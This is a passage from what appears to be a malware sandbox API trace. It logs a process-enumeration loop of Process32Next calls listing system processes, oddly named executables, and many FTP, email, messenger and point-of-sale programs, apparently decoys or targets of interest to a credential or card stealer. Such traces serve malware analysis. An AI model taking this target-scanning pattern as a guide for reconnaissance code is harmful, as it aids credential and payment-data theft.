pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0246.936] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.938] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.939] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0246.941] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.943] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.975] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.977] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.979] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.981] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.983] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.984] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0246.986] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0246.988] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0246.991] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.993] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0246.995] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0246.997] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0246.999] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0247.001] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0247.003] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0247.005] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0247.006] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.008] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0247.010] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0247.012] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0247.014] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.016] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0247.019] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0247.021] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0247.023] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0247.025] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0247.028] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0247.030] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0247.031] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0247.033] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0247.035] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0247.036] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0247.039] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0247.041] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0247.042] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0247.044] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0247.046] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0247.047] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0247.049] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0247.051] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0247.053] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0247.056] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0247.058] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0247.059] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0247.062] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0247.065] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0247.068] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0247.071] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0247.075] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0247.077] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0247.080] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0247.435] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0247.515] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0247.519] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0247.523] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0247.528] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0247.533] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0247.536] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0247.540] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0247.543] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0247.546] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0247.550] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0247.554] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0247.557] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0247.561] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0247.565] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0247.569] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0247.572] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0247.575] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0247.579] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0247.582] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0247.586] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0247.589] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0247.592] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0247.596] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0247.600] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0247.603] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0247.605] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0247.607] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, 